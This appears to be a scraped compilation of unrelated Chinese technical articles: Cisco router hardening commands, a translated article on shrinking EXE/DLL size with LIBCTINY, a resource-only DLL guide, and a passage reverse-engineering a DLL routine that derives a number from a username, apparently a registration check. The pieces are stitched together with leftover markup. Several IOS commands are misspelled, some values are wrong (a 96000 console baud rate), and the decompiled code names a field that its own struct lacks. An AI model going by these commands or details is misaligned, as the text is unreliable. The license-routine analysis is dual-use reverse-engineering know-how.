    上述6个方面的例行检查也许并不能立刻检查到硬件防火墙可能遇到的所有问题和隐患，但持之以恒地检查对硬件防火墙稳定可靠地运行是非常重要的。如果有必要，管理员还可以用数据包扫描程序来确认硬件防火墙配置的正确与否，甚至可以更进一步地采用漏洞扫描程序来进行模拟攻击，以考核硬件防火墙的能力。


Cisco路由器的安全配置简易方案

一.路由器访问控制的安全配置
1.严格控制可以访问路由器的管理员。任何一次维护都需要记录备案。
2.建议不要远程访问路由器。即使需要远程访问路由器，建议使用访问控制列表和高强度的密码控制。
3.严格控制CON端口的访问。具体的措施有：
A.如果可以开机箱的，则可以切断与CON口互联的物理线路。
B.可以改变默认的连接属性，例如修改波特率(默认是96000，可以改为其他的)。
C.配合使用访问控制列表控制对CON口的访问。
如：Router(Config)#Access-list 1 permit 192.168.0.1
Router(Config)#line con 0
Router(Config-line)#Transport input none
Router(Config-line)#Login local
Router(Config-line)#Exec-timeoute 5 0
Router(Config-line)#access-class 1 in
Router(Config-line)#end

D.给CON口设置高强度的密码。
4.如果不使用AUX端口，则禁止这个端口。默认是未被启用。禁止如：
Router(Config)#line aux 0
Router(Config-line)#transport input none
Router(Config-line)#no exec

5.建议采用权限分级策略。如：
Router(Config)#username BluShin privilege 10 G00dPa55w0rd
Router(Config)#privilege EXEC level 10 telnet
Router(Config)#privilege EXEC level 10 show ip access-list
/pre>

6.为特权模式的进入设置强壮的密码。不要采用enable password设置密码。而要采用enable secret命令设置。并且要启用Service password-encryption。
7.控制对VTY的访问。如果不需要远程访问则禁止它。如果需要则一定要设置强壮的密码。由于VTY在网络的传输过程中为加密，所以需要对其进行严格的控制。如：设置强壮的密码；控制连接的并发数目；采用访问列表严格控制访问的地址；可以采用AAA设置用户的访问控制等。
8.IOS的升级和备份，以及配置文件的备份建议使用FTP代替TFTP。如：
Router(Config)#ip ftp username BluShin
Router(Config)#ip ftp password 4tppa55w0rd
Router#copy startup-config ftp:
/pre>

9.及时的升级和修补IOS软件。
二.路由器网络服务安全配置
1.禁止CDP(Cisco Discovery Protocol)。如：
Router(Config)#no cdp run
Router(Config-if)# no cdp enable
/pre>

2.禁止其他的TCP、UDP Small服务。
Router(Config)# no service tcp-small-servers
Router(Config)# no service udp-samll-servers
/pre>

3.禁止Finger服务。
Router(Config)# no ip finger
Router(Config)# no service finger
/pre>

4.建议禁止HTTP服务。
Router(Config)# no ip http server
如果启用了HTTP服务则需要对其进行安全配置：设置用户名和密码；采用访问列表进行控制。如：
Router(Config)# username BluShin privilege 10 G00dPa55w0rd
Router(Config)# ip http auth local
Router(Config)# no access-list 10
Router(Config)# access-list 10 permit 192.168.0.1
Router(Config)# access-list 10 deny any
Router(Config)# ip http access-class 10
Router(Config)# ip http server
Router(Config)# exit
/pre>

5.禁止BOOTp服务。
Router(Config)# no ip bootp server
禁止从网络启动和自动从网络下载初始配置文件。
Router(Config)# no boot network
Router(Config)# no servic config
6.禁止IP Source Routing。
Router(Config)# no ip source-route
7.建议如果不需要ARP-Proxy服务则禁止它，路由器默认识开启的。
Router(Config)# no ip proxy-arp
Router(Config-if)# no ip proxy-arp
8.明确的禁止IP Directed Broadcast。
Router(Config)# no ip directed-broadcast
9.禁止IP Classless。
Router(Config)# no ip classless
10.禁止ICMP协议的IP Unreachables,Redirects,Mask Replies。
Router(Config-if)# no ip unreacheables
Router(Config-if)# no ip redirects
Router(Config-if)# no ip mask-reply

11.建议禁止SNMP协议服务。在禁止时必须删除一些SNMP服务的默认配置。或者需要访问列表来过滤。如：
Router(Config)# no snmp-server community public Ro
Router(Config)# no snmp-server community admin RW
Router(Config)# no access-list 70
Router(Config)# access-list 70 deny any
Router(Config)# snmp-server community MoreHardPublic Ro 70
Router(Config)# no snmp-server enable traps
Router(Config)# no snmp-server system-shutdown
Router(Config)# no snmp-server trap-anth
Router(Config)# no snmp-server
Router(Config)# end

12.如果没必要则禁止WINS和DNS服务。
Router(Config)# no ip domain-lookup
如果需要则需要配置：
Router(Config)# hostname Router
Router(Config)# ip name-server 202.102.134.96
13.明确禁止不使用的端口。
Router(Config)# interface eth0/3
Router(Config)# shutdown


减小dll和exe长度

作者： Matt Pietrek
翻译： lostall
原文： Under The Hood: Reduce EXE and DLL Size with LIBCTINY.LIB, January 2001
声明： 严格地讲，这不是一篇翻译，我更愿意把它叫作“意译”。即，我尽力保证文章内容与原文完全一致，但我不保证与原文表达完全一致。特别地，对常用术语、我拿不准的句子，或者我懒得写汉字的话，我会直接引用英文。如果可能，读者还是尽量阅读原文为最佳。

[摘要] 这篇文章讲述了如何减小EXE和DLL的文件长度。第一个小技巧是使用/OPT:NOWIN98链接选项，可以让Section按512字节对齐，而不是默认的4K字节。这只是小case，这篇文章最动人之处在于它模拟实现了一个简单的Run time Library: libctiny.lib。麻雀虽小五脏俱全。
(1) VC的运行时库会创建一个自己的heap，而libctiny.lib里的malloc等函数只是简单地调用GetProcessHeap()。
(2) libctiny.lib实现了简单的Startup函数，关键之处在于开始运行时要调用静态C++成员变量的构造函数，结束时调用静态C++成员变量的析构函数。
(3) 本文最精彩的地方是介绍了VC里是怎么处理静态C++成员的构造和析构的，不过文中对于如何执行析构函数并没有讲全，没有说明atexit是何时调用的。我补充以下测试数据：
$E4:
00401117 push ebp
00401118 mov ebp,esp
0040111A call $E1 (0040112d) // function for executing constructor
0040111F call $E3 (00401143) // function for executing 'atexit'
00401124 cmp ebp,esp
00401126 call __chkesp (00401727)
0040112B pop ebp
0040112C ret
$E1:
0040112D push ebp
0040112E mov ebp,esp
00401130 mov ecx,offset g_TestClassInstance (00405758) // this指针
00401135 call @ILT+10(TestClass::TestClass) (0040100f)
0040113A cmp ebp,esp
0040113C call __chkesp (00401727)
00401141 pop ebp
00401142 ret
$E3:
00401143 push ebp
00401144 mov ebp,esp
00401146 push offset $E2 (0040115c) // function for executing destructor
0040114B call atexit (00401379) // function for adding the function pointer of '$E2' into the list of static destructors
00401150 add esp,4
00401153 cmp ebp,esp
00401155 call __chkesp (00401727)
0040115A pop ebp
0040115B ret
$E2:
0040115C push ebp
0040115D mov ebp,esp
0040115F mov ecx,offset g_TestClassInstance (00405758)
00401164 call @ILT+0(TestClass::~TestClass) (00401005)
00401169 cmp ebp,esp
0040116B call __chkesp (00401727)
00401170 pop ebp
00401171 ret
在执行_initterm时会调用$E4，而$E4会首先调用$E1执行构造函数，然后紧接着调用$E3把析构函数的地址$E2加入到list of static destructors中。
我早在MSJ 1996年10月份的专栏里，就提出了一个关于可执行文件大小的问题。那个时侯一个简单的Hello World的程序编译后有32KB那么大。对于此后的两个编译器版本，问题也只是稍微好了一点而已。现在用VC6.0编译同样的程序也达到了28K。
在那个专栏里，我提供了一个运行时库的替代品，可以让你创建非常小的可执行程序。虽然在适用性上有一些限制，但在我自己的很多程序里都用得非常好。经历了这么长时间，我决定是时侯对这些限制做一些修正了。同时这也是一个非常好的机会可以给大家描述一个很少有人知道的链接器选项，它可以更进一步的减小程序的大小。
EXE and DLL Size
在开始进入运行时库替代品的代码之前，有必要花点时间复习一下为什么简单的EXEs和DLLs会比你想象中的大。考虑下面这个典型的Hello World程序：
#include <stdio.h>
void main()
{
printf ("Hello World!\n" );
}
让我们以大小优先的方式编译程序(译注：即编译器选项/O1，最小化大小)，并生成一个map文件。在VC的命令行下，使用如下的语法：
Cl /O1 Hello.CPP /link /MAP
首先看一看.MAP文件，Figure 1中是一个减化的版本。注意观察main函数的地址(0001:00000000)和printf函数的地址(0001:0000000C)，你可以推断main函数的大小只有0xC个字节。再看看文件的最后一行，__chkstk函数的地址是0001:00003B10，你可以推断出执行程序中的代码至少有0x3B10个字节。即往屏幕上写个Hello World需要超出14KB的代码。
现在浏览一遍.MAP文件中的其它部分。有些函数还是有意义的，比如__initstdio函数。毕竟printf是把输出写到一个文件中，所以一些底层的为stdio提供支持的运行时库函数还是有必要的。同样的，也可以估计到printf的代码可能会调用strlen，所以包含strlen也不会让人感到奇怪。
然而，看一看其他的一些函数，比如__sbh_heap_init。这是用于初始化运行时库的small block heap的函数。Win32系统通过HeapAlloc家族的函数提供它们自己的堆。因为使用自己的堆具有潜在的性能上的好处，所以尽管VC库可以选择使用Win32的堆函数，但是它没这么做。结果就是，你的执行程序里包含了比需要的更多的代码。
尽管有些人可能不关心运行时库实现了自己的heap，但另外有些情况你不能漠然视之。考虑map文件中靠近最下面的__crtMessageBoxA函数。这个函数允许运行时库调用MessageBox函数，而不用强迫执行程序链接到USER32.DLL。对于一个简单的Hello World程序，你很难预料到它还要调用MessageBox。
再看看另一个例子：__crtLCMapStringA函数，它实现字符串的locale-dependent transformations。尽管Microsof是有一些责任提供本地化支持，但很多程序并不真的需要它。为什么要让不使用locales的程序付出使用locales的代价呢？
尽管我还可以继续列举一些包含了不需要的代码的例子，但现在这些已经足够证明我的论点。一些典型的小程序里包含了大量没被用到的代码。对于他们各自而言，产生的影响并不大，但是把所有情况累加起来，你就会发现，代码变得太大了!
What About the C++ Runtime Library DLL?
思维敏捷的读者可能会问，"Hey Matt!为什么你不用运行时库的DLL版本?"要是在过去，我会辩解说没有在Windows 95,98,NT 3.51,NT 4.0等操作系统上命名一致的C++运行时库的DLL版本。幸运的是，现在已经今非昔比，在大多数情况下你可以依赖MSVCRT.DLL，它在你机器上总是存在的。
打开这个开关(译注：即选择运行时库的DLL版本，比如/MD)然后重新编译Hello.cpp，生成的可执行程序只有16KB了。结果并不坏，但你还可以做得更好。更重要的是，你只不过是把所有不需要的代码移到了别的地方而已(即：MSVCRT.DLL)。另外，当你的程序启动时，另一个DLL必须被装载并且初始化，这个初始化包括你可能并不关心的本地化支持等等。如果MSVCRT.DLL满足你的需要，当然可以继续用它。但是，我相信一个精简的静态链接地运行时库仍然有它的存在价值。
我可能是在和风车作战(译注：取自唐吉诃的风车大战，应该解释为理想主义)，但我和读者之间的e-mail交流显示我并不孤单，总是有人想要最小的代码。在现在这个遍布可写CD,DVD,高速Internet连接的年代里，人们很少担心代码的大小。但是在我家里最快的Internet连接也只有24Kbps，我憎恨在浏览网页时要浪费时间下载臃肿的控件。
作为原则，我希望我的代码尽可能的小巧。我不想load任何我没有真正用到的DLLs。就算我可能需要一个DLL，我也要尽可能地delayload它，这样我才不会为装载它而付出代价，直到我真正用到了它。Delayloading是我在以前的专栏里讨论过的一个主题，我强烈推荐你去熟悉它。初学者可以从Under the Hood in the December 1998 issue of MSJ开始。(译注：这篇文章的译文在此)
Digging Deeper
既然已经解决了程序中未使用代码的问题，我们再转向可执行文件本身。如果你对我的Hello.exe运行DUMPBIN /HEADERS的话，会发现输出以下两行：(译注：section alignment是内存中节对齐的大小，file alignment是文件中节对齐的大小，详细内容参见IMAGE_OPTIONAL_HEADER)
1000 section alignment
1000 file alignment
第二行很有趣，它是说在执行文件中每一个code和data段都是按4KB(0x1000)字节对齐的。因为sections在文件中是连续存储的，不难发觉在上一个section的结尾和下一个section的起始之间浪费的空间最多可达到4KB。
如果我用一个比VC6.0更早的linker链接这个程序的话，会发现有一些不同，如下所示：
1000 section alignment
200 file alignment
关键的差异是section是按512(0x200)字节对齐的，这减少了浪费的空间。VC6.0里，链接器缺省的是让section在文件中的对齐方式等于在内存中的对齐方式。这种做法在Windows 9x上对启动速度有轻微的提高，但是使执行程序变大了。
幸运的是，VC linker有一种方法可以回到以前的做法，这个开关就是/OPT:NOWIN98。Rebuild Hello.cpp，增加的这个开关可以使执行文件的大小减少到21KB，节省了7KB。如果链接到MSVCRT.DLL并且同时使用/OPT:NOWIN98，执行文件的大小一下子降到了2560个字节!
LIBCTINY: A Minimal Runtime Library
既然你已经理解了为什么简单的EXEs和DLLs会那么大，那么是时侯介绍我的新的改进了的运行时库的替代品了。在October 1996的专栏里(前面提过)，我创建了一个小的静态.LIB文件，用来替换或者补充Microsoft的LIBC.LIB和LIBCMT.LIB。我把它叫做LIBCTINY.LIB，因为它是Microsoft自己的运行时库源程序的一个非常stripped-down的版本。
LIBCTINY.LIB是给那些简单的不需要很多运行时库支持的应用程序使用的。因此，它不适用于MFC程序，或者其它需要大量使用C++运行时库的复杂情况。LIBCTINY.LIB的理想对象是调用了一些Win32 API函数并且可能会显示一些简单输出的小程序或DLLs。
LIBCTINY.LIB背后有两个指导原则。首先，它用非常简单的代码替换了Visual C++的标准启动函数。这个简化的代码不引用任何更深奥的运行时库函数，比如__crtLCMapStringA。正因如此，极大地减少了链接到你的执行文件中的无关代码。正如我稍后将说明的那样，LIBCTINY的函数在调用你的WinMain, main或DllMain之前仅仅执行了最少的任务。
LIBCTINY.LIB的第二个指导原则是用已经存在于Win32系统DLLs的代码实现相当规模的函数，比如malloc，free, new, delete, printf, strupr, strlwr等等。看一眼printf.cpp(Figure 2)中printf的实现，体会一下我说的意思。
在LIBCTINY.LIB的原始版本里有两个限制一直困扰着我。第一，原始的版本里不支持DLLs。你可以创建小的Console和GUI执行程序，但不幸的是你不能创建一个小的DLL。
第二，原始的版本里不支持静态C++构造和析构。我这里指的是在全局范围内声明的构造和析构。在新版本里我已经加上了提供这种支持的基本代码。在这个过程中，我也学到了很多关于编译器和运行时库为实现静态构造和析构玩的一个复杂游戏的知识。
The Dark Underbelly of Constructors
当编译器处理一个有静态Constructor的源文件时，它生成两个东西。首先是一个名字类似于$E2的一小段代码，负责调用Constructor。其次是一个指向这段代码的指针。这个指针被写到.OBJ文件中一个叫做.CRT$XCU的特殊节中。
为什么叫这么有趣的名字？原因有点复杂。让我提供一点别的数据帮助解释。如果你检查VC运行时库源代码(比如，CINITEXE.C)，你会发现下面这段代码：
#pragma data_seg(".CRT$XCA")
_PVFV __xc_a[] = { NULL };
#pragma data_seg(".CRT$XCZ")
_PVFV __xc_z[] = { NULL };
上面的代码创建了两个数据段：.CRT$XCA和.CRT$XCZ。在每个段中放了一个变量(分别是__xc_a和__xc_z)。注意，段的名字非常类似于编译器把Constructor代码指针放到的.CRT$XCU段的名字。
这里需要了解一点Linker的理论。当处理所有的段以产生最终的PE文件时，链接器合并所有相同名字的段的数据。所以，如果A.OBJ有一个段叫.data，B.OBJ也有一个段叫.data，那么A.OBJ里.data段的数据和B.OBJ里.data段的数据会被顺序写到PE文件中一个单独的.data段中。
段名里使用的$符号有特别的作用。当遇到段名里有$符号的时侯，链接器把$之前的名字做为最终的段名。这样，.CRT$XCA, .CRT$XCU, 和 .CRT$XCZ段被合并在一起，成为最终的执行文件中的.CRT段。
那么段名里$之后的部分是干什么用的呢？当合并这种类型的段时，链接器根据$之后的字符串的字典顺序进行处理。所以，.CRT$XCA段内的数据先处理，紧跟着的是.CRT$XCU段内的数据，最后是.CRT$XCZ。这是理解的关键点。
运行时库代码不知道一个指定的EXE或DLL里有多少个静态的构造函数需要被调用。但是，它知道在.CRT$XCu段内的指向constructor code块的指针。当链接器合并所有的.CRT$XCU段时，它产生的实际效果是创建了一个函数指针数组。通过定义在.CRT$XCA和.CRT$XCZ段内的__xc_a和__xc_z变量，运行时库能够可靠地定位函数指针数组的起点和终点。
正如你可能料到的，调用模块内所有的静态构造函数，只是简单的遍历函数指针数组，依次调用每个指针。做这件事的函数是_initterm(Figure 3)，它与Visual C++运行时库里的源代码是一样的。
考虑完所有的事以后，LIBCTINY让static constructors运行起来相对就简单了。主要就是定义正确的数据段(特别是.CRT$XCA和.CRT$XCZ)，然后从启动代码的正确地方调用_initterm。但是处理静态析构就要有点技巧了。
不同于编译器和链接器合谋为静态constructor创建的函数指针数组，静态destructor列表是在运行时创建的。为了建立这个列表，编译器产生对atexit函数的调用，它是Visual C++运行时库里的一个函数。atexit接受一个函数指针，然后把这个指针添加到一个FILO(先进后出)列表(译注：其实就是stack)中。当EXE或DLL卸载时，运行时库遍历这个列表，并且调用每个函数指针。
LIBCTINY对atexit的实现比VC运行时库里的实现简单了很多。有三个函数和几个静态变量用于实现它，也在initterm.cpp中。_atexit_init简单地分配一个容纳32个函数指针的数组，并把数组指针存到pf_atexitlist静态变量中。
atexit函数检查数组中是否还有空间，如果有，就把函数指针加到数组的末尾。这段代码的一个更强健的做法是当需要时reallocate数组。最后，_DoExit函数使用你的朋友，_initterm，去遍历数组，调用每个函数指针。理想情况下，_DoExit应该模仿VC运行时库的实现，以相反的方向遍历数组。但是LIBCTINY的目的只是为了简单小巧，没有必要追求完美的兼容性。(译注：C++标准规定Destructor的顺序应该与Constructor的顺序相反。LIBCTINY没有遵循这个规定，但也没有什么影响。应用程序也应该尽量避免使用构造或析构顺序有依赖关系的全局变量。)
LIBCTINY's Minimal Startup Routines
现在让我们看看LIBCTINY对小DLL的新支持。像EXE一样，技巧在于使DLL的入口点代码尽可能的小，并且去除可能引起大量其他代码的无用程序。Figure 4展示了最小的DLL启动代码。当你的DLL被装载时，是这段代码，而不是你的DllMain首先被执行。
_DllMainCRTStartup函数是你的DLL里执行的起始点。在LIBCTINY的实现中，它首先检查是否DLL处在DLL_PROCESS_ATTACH调用中。如果是，就调用_atexit_init(前面讲过)，然后通过_initterm调用静态Constructor。函数的核心是调用DllMain，它是你在Dll里自己提供的。这个DllMain的调用对四种通知类型都适用(process attach/detach, and thread attach/detach)。
DllMainCRTStartup要做的最后一件事是检查Dll是否处在DLL_PROCESS_DETACH调用中。如果是，就调用_DoExit。与前面讲的一样，这会导致所有的静态析构函数被调用。如果你对Console和GUI类型的EXE的启动代码感到好奇的话，一定要看看CRT0TCON.CPP和CRT0TWIN.CPP。
另一个值得查看的是在DLLCRTO.CPP(看Figure 4)的靠近最上面的一行代码：
#pragma comment(linker, "/OPT:NOWIN98")
它把一个链接器命令放到DLLCRTO.OBJ文件中，其作用是通知链接器使用/OPT:NOWIN98开关。好处是你不用再手工地把/OPT:NOWIN98添加到你的make文件或工程文件中。我考虑到如果你使用LIBCTINY，你应该也会想使用/OPT:NOWIN98。
Using LIBCTINY.LIB
使用LIBCTINY非常简单。你需要做的所有事就是把LIBCTINY.LIB加到链接器的.LIB列表中。如果你正在使用Visual Studio's IDE，应该在Projects | Settings | Link下面。哪种类型的执行文件都可以(console EXE, GUI EXE, or DLL)，因为LIBCTINY.LIB为每种类型都提供了适当的入口点。
看一看Figure 5中的TEST.CPP。这个程序简单地使用了几个LIBCTINY.LIB实现的函数，并且包含了一个静态constructor和destructor的调用。当我用Visual C++以正常方式编译它时，
CL /O1 TEST.CPP
生成的执行文件是32768字节。简单地在命令行上加上LIBCTINY.LIB：
CL /O1 TEST.CPP LIBCTINY.LIB
生成的执行文件缩减到了3072字节。
你可能很想知道哪些运行时库函数LIBCTINY没有实现。例如，在TEST.CPP中，有一个对strrchr的调用。这里没有问题，因为Visual C++提供的LIBC.LIB和LIBCMT.LIB包含了这个函数。LIBCTINY.LIB和LIBC.LIB都实现了各种各样的函数。LIBCTINY提供的明显比LIBC.LIB的少。重要的是要让链接器在解析函数调用时首先找到LIBCTINY的函数，这样LIBCTINY的函数才会被使用。如果有些函数LIBCTINY没有实现，链接器会在LIBC.LIB中找到它。
最后有必要重复一下，LIBCTINY不适用所有的情况。比如，如果你的代码使用了多线程，并且依赖于运行时库提供的per-thread data支持，那么LIBCTINY就不适合你。我的做法是对一个估计可以的程序使用LIBCTINY，如果可以，great!如果不可以，我就简单的使用正常的运行时库。


纯资源DLL的编写
--------------------------------------------------------------------------------
下面的例子是一个纯资源DLL的源程序
纯资源的DLL就是只包含资源的DLL，例如：图标，位图，字符串，声音，视频，对话框等。使用纯资源DLL可以节约可执行文件的大小，可以被所有的应用程序所共享，从而提高系统性能。纯资源DLL的编写比普通的DLL要简单的多，首先创建一个WIN32 DLL工程，不是MFC的DLL，然后创建一个资源文件 *.RC，添加到资源DLL的工程中去。然后添加一个初始化DLL的原文件。

#include <windows.h>
extern "C"
BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID )
{
return 1;
}
这是纯资源DLL所必须需的代码，保存这个文件为*.CPP。编译这个资源DLL。
在应用程序显示的调用这个DLL，使用LoadLibrary函数装入资源DLL，FindResource和LoadResource来装入各种资源，或者使用下列的特定的资源装入函数：
FormatMessage
LoadAccelerators
LoadBitmap
LoadCursor
LoadIcon
LoadMenu
LoadString
当资源使用结束，你的应用程序须调用FreeLibrary函数来释放资源。
下面就讲一下如何调用编写好的资源DLL
首先在应用程序中声明一个DLL的句柄，HINSTANCE m_hLibrary;在OnCreate( )函数中调用LoadLirbrary( ),在OnDestory( )中调用FreeLibrary（）。下载一个工程文件看一看，就什么都搞定了


没有什么特别有效的方法，靠的就是耐心和经验，反复验证，直到调用成功。
有个dll2lib的工具，不知道是我不会使用还是怎么的，反正我是没有使用成功过，所以我只能靠自己
来分析了。
首先是使用的工具，ida/win32dasm/ollydbg
win32dasm分析的速度快一些，但是智能程度不如ida,ida这个2001开发工具亚军绝对不是浪得虚名的
，它的智能程度非常高，可是识别出常用的函数，这两个都是静态反汇编的工具，必须配以动态分析的工具，
毕竟你很难一下子就分析对(至少我是这样)，当然你可以使用s-ice或者trw，但是这些工具都有限制，trw不支
持2000，s-ice一旦装载只能reboot才能取消装载，还有其工作在ring0，所以你只能对者黑乎乎的屏幕，很痛
苦，这里选用的ollydbg是最新版本，支持dll的跟踪。
下面列出win32dasm反汇编的结果：
Exported fn(): GetUserNumber - Ord:0004h
:0040C1B0 55 push ebp
:0040C1B1 8BEC mov ebp, esp
:0040C1B3 53 push ebx
:0040C1B4 56 push esi
:0040C1B5 57 push edi
:0040C1B6 8B5D08 mov ebx, dword ptr [ebp+08]
:0040C1B9 33F6 xor esi, esi
:0040C1BB 8BC3 mov eax, ebx
:0040C1BD E846A5FFFF call 00406708
:0040C1C2 6685C0 test ax, ax
:0040C1C5 7212 jb 0040C1D9
:0040C1C7 40 inc eax
:0040C1C8 33D2 xor edx, edx
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C1D7(C)
|
:0040C1CA 0FB7CA movzx ecx, dx
:0040C1CD 0FB60C0B movzx ecx, byte ptr [ebx+ecx]
:0040C1D1 03F1 add esi, ecx
:0040C1D3 42 inc edx
:0040C1D4 66FFC8 dec ax
:0040C1D7 75F1 jne 0040C1CA
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C1C5(C)
|
:0040C1D9 8B450C mov eax, dword ptr [ebp+0C]
:0040C1DC 8A4012 mov al, byte ptr [eax+12]
:0040C1DF 3C61 cmp al, 61
:0040C1E1 720B jb 0040C1EE
:0040C1E3 25FF000000 and eax, 000000FF
:0040C1E8 6683E861 sub ax, 0061
:0040C1EC EB09 jmp 0040C1F7
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C1E1(C)
|
:0040C1EE 25FF000000 and eax, 000000FF
:0040C1F3 6683E841 sub ax, 0041
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C1EC(U)
|
:0040C1F7 8B550C mov edx, dword ptr [ebp+0C]
:0040C1FA 8A5213 mov dl, byte ptr [edx+13]
:0040C1FD 80FA61 cmp dl, 61
:0040C200 720C jb 0040C20E
:0040C202 81E2FF000000 and edx, 000000FF
:0040C208 6683EA61 sub dx, 0061
:0040C20C EB0A jmp 0040C218
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C200(C)
|
:0040C20E 81E2FF000000 and edx, 000000FF
:0040C214 6683EA41 sub dx, 0041
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C20C(U)
|
:0040C218 0FB7C0 movzx eax, ax
:0040C21B 6BF81A imul edi, eax, 0000001A
:0040C21E 0FB7C2 movzx eax, dx
:0040C221 03F8 add edi, eax
:0040C223 81F74D010000 xor edi, 0000014D
:0040C229 83F701 xor edi, 00000001
:0040C22C 8BC3 mov eax, ebx
:0040C22E E8D5A4FFFF call 00406708
:0040C233 2BF8 sub edi, eax
:0040C235 8BC6 mov eax, esi
:0040C237 B91A000000 mov ecx, 0000001A
:0040C23C 99 cdq
:0040C23D F7F9 idiv ecx
:0040C23F 2BFA sub edi, edx
:0040C241 8BC7 mov eax, edi
:0040C243 5F pop edi
:0040C244 5E pop esi
:0040C245 5B pop ebx
:0040C246 5D pop ebp
:0040C247 C20800 ret 0008
通过ret 008我们可以知道这个函数需要两个参数,通过mov eax, esi，我们可以知道这个函数有反回
值(这是因为在高级语言里面一般通过eax设置函数返回值)具体返回什么类型现在还没办法知道，但是不管这么
多，我们假设此函数是这样的：
int GetUserNumber(int a1,int a2)
我们会在后续分析后，慢慢修正他，现在我们开始一点点分析。
:0040C1B0 55 push ebp
:0040C1B1 8BEC mov ebp, esp
:0040C1B3 53 push ebx
:0040C1B4 56 push esi
:0040C1B5 57 push edi
这个是function prolog，建立堆栈和寄存器的保存，没什么可多说的。
:0040C1B6 8B5D08 mov ebx, dword ptr [ebp+08]
:0040C1B9 33F6 xor esi, esi
:0040C1BB 8BC3 mov eax, ebx
:0040C1BD E846A5FFFF call 00406708
这里你需要知道函数调用过程的参数传递，可以到asm.yeah.net看看罗云彬那篇很好的关于参数传递和堆栈修
复的文章，这里简单说一下，调用函数的时候如果通过堆栈来传递参数的话，那么对于我们讨论的函数可能是
这样的：
push a2
push a1
call GetUserNumber
此时堆栈看起来是这样的
-----a2
-----a1
esp-> -----returnaddress
这时候进入函数内部push ebp后
esp+c -----a2
esp+8 -----a1
esp+4 -----returnaddress
esp-> -----ebp
mov ebp,esp
此时要寻址a1可以通过ebp+8
:0040C1B6 8B5D08 mov ebx, dword ptr [ebp+08]; ebx保存第一个参数
:0040C1B9 33F6 xor esi, esi
:0040C1BB 8BC3 mov eax, ebx
:0040C1BD E846A5FFFF call 00406708
这个很简单esi清零，把第一个参数传递给eax，然后调用00406708
所以我们接下来就是要到00406708里面去看看
:00406708 89FA mov edx, edi
:0040670A 89C7 mov edi, eax
:0040670C B9FFFFFFFF mov ecx, FFFFFFFF
:00406711 30C0 xor al, al
:00406713 F2 repnz
:00406714 AE scasb
:00406715 B8FEFFFFFF mov eax, FFFFFFFE
:0040671A 29C8 sub eax, ecx
:0040671C 89D7 mov edi, edx
:0040671E C3 ret
这个是很典型的求字符串长度的代码
:00406708 89FA mov edx, edi ;保存edi
:0040670A 89C7 mov edi, eax ;eax是我们调用前的a1
:0040670C B9FFFFFFFF mov ecx, FFFFFFFF ecx设置成最大32数
:00406711 30C0 xor al, al ;al清零
我们知道汇编指令的字符串操作一般通过esi和edi，上面的过程在注释里给出解释
:00406713 F2 repnz
:00406714 AE scasb ;判断字符串是否结束
:00406715 B8FEFFFFFF mov eax, FFFFFFFE
:0040671A 29C8 sub eax, ecx ;eax保存了字符串长度
:0040671C 89D7 mov edi, edx ;恢复edi
:0040671E C3 ret
上面分析我们知道参数a1是一个字符串,现在把我们的函数修正如下
int GetUserNumber(char * a1,int a2)

继续我们的分析：
:0040C1C2 6685C0 test ax, ax ;长度是否为零
:0040C1C5 7212 jb 0040C1D9 ;为零则跳转
:0040C1C7 40 inc eax ;eax加一
:0040C1C8 33D2 xor edx, edx ;edx清零
我们用c语言写出等价程序如下：
int GetUserNumber(char * strUserName,test * pt)
{

esi = 0;
int len = strlen(strUserName);
if(len <= 0)
goto _SKIP_USERNAME;
_SKIP_USERNAME：
}
继续分析并且进一步修正我们的代码
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C1D7(C)
|
:0040C1CA 0FB7CA movzx ecx, dx ;ecx置零
:0040C1CD 0FB60C0B movzx ecx, byte ptr [ebx+ecx] ;ebx保存第一个参数
:0040C1D1 03F1 add esi, ecx ;取出字符串的第ecx位
:0040C1D3 42 inc edx ;edx加一
:0040C1D4 66FFC8 dec ax ;ax字符串长度减一
:0040C1D7 75F1 jne 0040C1CA ;字符串未处理完则继续
上面是典型的基址加变址寻址模式，很简单，等价的c代码如下：
int
        GetUserNumber(char * strUserName,test * pt)
{

esi = 0;
int len = strlen(strUserName);
if(len <= 0)
goto _SKIP_USERNAME;
for(int i = 0 ; i < len ; ++i)
{
esi += strUserName[i]; //计算用户名ASC和
}
_SKIP_USERNAME：
}
继续分析并且进一步修正我们的代码
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C1C5(C)
|
:0040C1D9 8B450C mov eax, dword ptr [ebp+0C] ；取第二个参数
:0040C1DC 8A4012 mov al, byte ptr [eax+12] ；移动0X12=18个字节
:0040C1DF 3C61 cmp al, 61 ；与0X61=’a’比较
:0040C1E1 720B jb 0040C1EE ；小于则跳
:0040C1E3 25FF000000 and eax, 000000FF ；保留eax的低8位
:0040C1E8 6683E861 sub ax, 0061 ；计算与’a’的差距
:0040C1EC EB09 jmp 0040C1F7 ；跳到0040C1F7
能看出在第一个参数表示的字符串长度是0的时候会直接跳到这里。
这里的问题是我们如何知道第二个参数的类型呢？
答案是没办法知道，因为就现在这些信息，我们没有办法知道第二个参数是什么类型，但是一定是一块内存区
域，因为mov al, byte ptr [eax+12]这段代码告诉我们的，现在我们来模拟出来这段区域
我们定义一个结构来模拟，事实上我们在写程序的时候，如果调用函数时候参数类型不匹配，会得到编译错误
，其实这个错误是编译器给出来的，他与我们能否成功调用函数无关，因为如果类型真的不匹配，运行时会出
错，所以调用dll的时候我们的参数类型未必一定要和实际dll原代码实现的是一模一样的，但是一定要兼容。
所以我用结构来模拟，并不会破坏我们讨论的问题的一般性。
定义如下结构：
 struct test
{
char
        c18_unused[18];
char c19;
};
现在重新修正我们的函数
int GetUserNumber(char * strUserName,test * pt)
{
int esi;
char al;

esi = 0;
int len = strlen(strUserName);
if(len <= 0)
goto _SKIP_USERNAME;
for(int i = 0 ; i < len ; ++i)
{
esi += strUserName[i]; //计算用户名ASC和
}
_SKIP_USERNAME:
al = pt->c19_IsNumber;
if(al < ’a’) //判断字符大小写
goto IsLower;
}
继续分析
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C1E1(C)
|
